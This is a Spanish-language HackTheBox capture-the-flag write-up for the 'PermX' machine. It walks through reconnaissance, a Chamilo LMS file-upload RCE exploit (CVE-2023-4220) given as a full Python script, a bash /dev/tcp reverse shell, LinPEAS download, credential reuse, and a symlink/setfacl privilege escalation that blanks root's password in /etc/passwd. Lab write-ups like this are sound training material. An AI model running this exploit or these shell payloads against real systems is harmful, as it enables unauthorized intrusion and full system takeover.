PermX – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

‘PermX’ Avatar


Resumen Link to heading

“PermX” es una máquina de dificultad fácil de la plataforma HackTheBox. Somos capaces de encontrar que la máquina víctima está corriendo un servidor web, y albergando un sitio mediante vhosting corriendo Chamilo LMS el cual es vulnerable a Remote Code Execution (CVE-2023-4220). Esto nos permite ganar acceso inicial a la máquina víctima. Somos entonces capaces de obtener credenciales para un usuario dentro de ésta las cuales se encontraban en unos archivos de configuración. Pivoteando a este nuevo usuario, podemos ver que éste puede ejecutar un script personalizado como root. Este script nos permite, mediante un enlace simbólico, editar archivos sensibles del sistema como /etc/passwd; lo cual nos permite cambiar/borrar la contraseña del usuario root y tomar control de éste.


Usuario Link to heading

Empezando con un escaneo rápido y silencioso de Nmap:

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.23

Sólo podemos ver 2 puertos abiertos: 22 SSH y 80 HTTP.

Aplicando algunos scripts de reconocimiento con la flag -sVC a estos puertos tenemos:

❯ sudo nmap -sVC -p22,80 10.10.11.23

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-14 19:06 -04
Nmap scan report for 10.10.11.23
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.35 seconds

Del output del escaneo puedo ver que el sitio HTTP redirige al dominio permx.htb, de manera que agregamos este dominio a nuestro archivo /etc/hosts ejecutando:

❯ echo '10.10.11.23 permx.htb' | sudo tee -a /etc/hosts

Una vez agregado, escaneamos el sitio http://permx.htb con la herramienta WhatWeb:

❯ whatweb -a 3 http://permx.htb

http://permx.htb [200 OK] Apache[2.4.52], Bootstrap[5.0.0], Country[RESERVED][ZZ], Email[permx@htb.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], JQuery[3.4.1], Script, Title[eLEARNING]

Pero no veo mucha información útil fuera de un email de contacto permx@htb.com.

Visitando la página web http://permx.htb tenemos:

PermX 1

Exploramos el sitio web, pero éste sólo tiene archivos y páginas html. Clickeando en Join Now simplemente redirige al sitio principal. Ya en este punto buscamos por directorios ocultos a través de un Brute Force Directory Listing con Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://permx.htb -t 55  --add-slash

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://permx.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img/                 (Status: 200) [Size: 4406]
/icons/               (Status: 403) [Size: 274]
/css/                 (Status: 200) [Size: 1140]
/lib/                 (Status: 200) [Size: 1714]
/js/                  (Status: 200) [Size: 922]
/server-status/       (Status: 403) [Size: 274]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

Pero tampoco puedo ver algo interesante.

Luego, decidimos buscar por vhosts usando ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://permx.htb/ -H 'Host: FUZZ.permx.htb' -t 30 -fw 18

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 30
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 18
________________________________________________

www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 162ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 196ms]
:: Progress: [4989/4989] :: Job [1/1] :: 184 req/sec :: Duration: [0:00:26] :: Errors: 0 ::

Encontramos 2 subdominios: www.permx.htb y lms.permx.htb.

Agrego ambos dominios a mi archivo /etc/hosts, de manera que ahora éste se ve como:

❯ tail -n 1 /etc/hosts

10.10.11.23 permx.htb www.permx.htb lms.permx.htb

Visitando www.permx.htb simplemente muestra el sitio http://permx.htb. Visitando http://lms.permx.htb muestra algo diferente; un nuevo panel de login:

PermX 2

Tenemos un portal corriendo Chamilo LMS.

Información
Chamilo LMS is a learning management system designed to support effective online education (often referred to as e-learning).

En corto, es un software para educación online.

Buscando por exploits recientes para este software encontramos la vulnerabilidad CVE-2023-3533. Esta página muestra cómo funciona el exploit; no obstante, este exploit no funciona en la máquina víctima. Luego, encontramos otra vulnerabilidad catalogada como CVE-2023-4220. Este página provée un Proof of Concept (PoC/prueba de concepto) para esta vulnerabilidad:

$ echo '<?php system("id"); ?>' > rce.php

$ curl -F 'bigUploadFile=@rce.php' 'http://<chamilo>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

The file has successfully been uploaded.

$ curl 'http://<chamilo>/main/inc/lib/javascript/bigupload/files/rce.php'

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Adapto este exploit a un script de Python (porque puedo):

#!/usr/bin/python3
import requests
import argparse
from sys import exit as sysexit
from os import remove as osremove


def parse_arguments()->argparse.Namespace:
    parser = argparse.ArgumentParser(description='Process some flags.')
    
    # Add arguments
    parser.add_argument('-u', '--url', type=str, help='URL running Chamilo LMS. Example: http://example-target.com', required=True)
    parser.add_argument('-c', '--command', type=str, help='System command to run in the victim target', required=True)
    parser.add_argument('-f', '--filename', type=str, help='PHP filename/payload to upload to the target. Default: poc.php', default='poc.php')
    # Return parsed arguments
    return parser.parse_args()


def create_payload(args:argparse.Namespace)->None:
    # Create and write the file that contains the payload
    php_code = f'<?php system("{args.command}"); ?>'
    with open(args.filename, 'w') as file:
        file.write(php_code)
    print(f"[+] Creating the PHP file/payload with the command {args.command!r}...")
    return


def upload_payload(args: argparse.Namespace)->None:
    # Set the url to attack
    upload_url: str = f'{args.url}/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
    print("[+] Attempting to upload the payload...")
    with open(args.filename, 'rb') as file:
        files = {'bigUploadFile': file}
        try:
            response = requests.post(upload_url, files=files)
        except Exception as err:
            print(f"[-] Something happened when attempting to load the payload:\n{err}")
            sysexit(1)
    if response.status_code != 200:
        print(f"[-] Bad status code in POST request: HTTP Status Code {response.status_code}")
        sysexit(1)
    print(f"[+] Server response:\n{response.text}")
    return


def get_payload(args: argparse.Namespace)->None:
    # Set the url where the file should be uploaded
    access_url = f'{args.url}/main/inc/lib/javascript/bigupload/files/{args.filename}'
    print("[+] Attempting to get the content of the uploaded file...")
    try:
        # Access the uploaded file
        response = requests.get(access_url)
    except Exception as err:
        print(f"[-] Something happened:\n{err}")
        sysexit(1)
    # Print the response from the access request
    print(f"[+] Uploaded file content:\n{response.text}")
    return


def main()->None:
    # Get argument from the user
    args = parse_arguments()
    print(f"[+] Attacking {args.url!r}...")
    # Create the file/payload
    create_payload(args)
    try:
        # Upload the payload
        upload_payload(args)
        # Get the content of the payload
        get_payload(args)
    finally:
        # Remove the file/payload we have created
        osremove(args.filename)

if __name__ == "__main__":
    main()

Guardo este script/exploit como CVE-2023-4220.py (disponible en mi repositorio de Github). Para revisar si esto funciona me enviaré un ping contra mi máquina de atacante poniéndome en escucha con tcpdump por trazas ICMP:

❯ sudo tcpdump -ni tun0 icmp

donde tun0 es el nombre de interfaz de HackTheBox.

Ejecutamos el exploit:

❯ python3 CVE-2023-4220.py -u http://lms.permx.htb -c 'ping -c1 10.10.16.9'

[+] Attacking 'http://lms.permx.htb'...
[+] Creating the PHP file/payload with the command 'ping -c1 10.10.16.9'...
[+] Attempting to upload the payload...
[+] Server response:
The file has successfully been uploaded.
[+] Attempting to get the content of the uploaded file...
[+] Uploaded file content:
PING 10.10.16.9 (10.10.16.9) 56(84) bytes of data.
64 bytes from 10.10.16.9: icmp_seq=1 ttl=63 time=292 ms

--- 10.10.16.9 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 291.716/291.716/291.716/0.000 ms

y en mi listener con tcpdump obtengo:

❯ sudo tcpdump -ni tun0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
20:19:20.741360 IP 10.10.11.23 > 10.10.16.9: ICMP echo request, id 3, seq 1, length 64
20:19:20.741374 IP 10.10.16.9 > 10.10.11.23: ICMP echo reply, id 3, seq 1, length 64

Funciona. Hemos logrado Remote Code Execution (ejecución remota de comandos) tal cual describía el reporte.

Por tanto, empezamos un listener con netcat en el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

y creamos un payload para enviarnos una reverse shell:

❯ python3 CVE-2023-4220.py -u http://lms.permx.htb -c "bash -c 'bash -i >& /dev/tcp/10.10.16.9/443 0>&1'"

[+] Attacking 'http://lms.permx.htb'...
[+] Creating the PHP file/payload with the command "bash -c 'bash -i >& /dev/tcp/10.10.16.9/443 0>&1'"...
[+] Attempting to upload the payload...
[+] Server response:
The file has successfully been uploaded.
[+] Attempting to get the content of the uploaded file...

donde 10.10.16.9 es nuestra IP de atacante y 443 el puerto en escucha.

En nuestro listener con netcat obtenemos una shell como el usuario www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.23] 55936
bash: cannot set terminal process group (1189): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ whoami
<ilo/main/inc/lib/javascript/bigupload/files$ whoami

www-data

Subiremos LinPEAS a la máquina víctima (descargable desde su repositorio de Github). Para ello empezamos un servidor HTTP Python temporal por el puerto 8080 exponiendo linpeas.sh:

❯ ls -la && python3 -m http.server 8080

total 860
drwxr-xr-x  2 gunzf0x gunzf0x   4096 Jun  1 23:39 .
drwxr-xr-x 12 gunzf0x gunzf0x   4096 Feb 21 22:21 ..
-rwxr-xr-x  1 gunzf0x gunzf0x 862779 May 26 00:29 linpeas.sh
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

y, en la máquina víctima, lo descargamos y le damos permisos de ejecución:

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ wget http://10.10.16.9:8080/linpeas.sh -O /tmp/linpeas.sh

<SNIP>

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ chmod +x /tmp/linpeas.sh

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ /tmp/linpeas.sh

<SNIP>

Luego de ejecutar LinPEAS podemos ver algunas credenciales:

<SNIP>
╔══════════╣ Searching passwords in config PHP files
/var/www/chamilo/app/config/configuration.php:                'show_password_field' => false,
/var/www/chamilo/app/config/configuration.php:                'show_password_field' => true,
/var/www/chamilo/app/config/configuration.php:        'wget_password' => '',
/var/www/chamilo/app/config/configuration.php:    'force_different_password' => false,
/var/www/chamilo/app/config/configuration.php:$_configuration['auth_password_links'] = [
/var/www/chamilo/app/config/configuration.php:$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
/var/www/chamilo/app/config/configuration.php:$_configuration['password_encryption'] = 'bcrypt';
/var/www/chamilo/app/config/configuration.php:/*$_configuration['password_requirements'] = [
/var/www/chamilo/app/config/configuration.php://$_configuration['email_template_subscription_to_session_confirmation_lost_password'] = false;
<SNIP>

Podemos ver algo que parece una contraseña/credencial: 03F6lY3uXAP2bkW8.

Notamos, además, que existe un usuario llamado mtz:

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ ls /home

mtz

Por lo tanto, revisamos si esta contraseña es válida para este usuario usando NetExec a través del servicio SSH (que, como mostró el escaneo inicial, está disponible):

❯ netexec ssh 10.10.11.23 -u 'mtz' -p '03F6lY3uXAP2bkW8'

SSH         10.10.11.23     22     10.10.11.23      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.23     22     10.10.11.23      [+] mtz:03F6lY3uXAP2bkW8  (non root) Linux - Shell access!

Estas credenciales funcionan.

Nos conectamos entonces a través de SSH como el usuario mtz:

❯ sshpass -p '03F6lY3uXAP2bkW8' ssh -o stricthostkeychecking=no mtz@10.10.11.23

<SNIP>
mtz@permx:~$ ls

user.txt

Podemos obtener la flag de usuario en el directorio /home del usuario mtz.


Root Link to heading

Revisando qué es lo que puede ejecutar este usuario con sudo tenemos algo:

mtz@permx:~$ sudo -l

Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

Donde puedo ver que podemos ejecutar el script /opt/acl.sh sin necesidad de proveer una contraseña.

Revisando qué es lo que hace este script tenemos:

#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if ` "$target" != /home/mtz/* || "$target" == *..* `; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

Este es un script en Bash el cual es usado para definir listas de control de acceso (ACLs) para un archivo específico a un usuario específico. Basados en GTFOBins, tal cual se explica aquí, podemos usar setfacl para asignar permisos a archivos sensibles del sistema.

Sin embargo, el script tiene 2 restricciones:

  1. El archivo debe de estar localizado dentro del directorio /home/mtz.
  2. El archivo no puede tener .. en su nombre. Por lo que intentar un Directory Traversal no es una opción factible.

Luego de pensarlo un poco, podemos crear un link simbólico a un archivo del sistema. Por ejemplo crear un link simbólico a /etc/passwd y localizarlo en el directorio /home/mtz:

mtz@permx:~$ ln -s /etc/passwd /home/mtz/passwd_copy

Luego, ejecutamos el script con sudo:

mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/passwd_copy

No obtuvimos errores. Quizás esto funcionó.

Si esto ha funcionado, ahora deberíamos de ser capaces de editar el archivo /etc/passwd. Podemos usar un editor de texto como nano o vi (ambos disponibles en la máquina víctima) para editar este archivo simplemente ejecutando nano /home/mtz/passwd_copy o nano /etc/passwd y cambiando solamente la línea:

root:x:0:0:root:/root:/bin/bash

a

root::0:0:root:/root:/bin/bash

Es decir., ahora el usuario root no requiere contraseña para loguearse como éste.

Por ende, una vez editado /etc/passwd a través del link simbólico, corremos:

mtz@permx:~$ su root

root@permx:/home/mtz# whoami

root

GG. Podemos leer la flag del usuario root en el directorio /root.

~Happy Hacking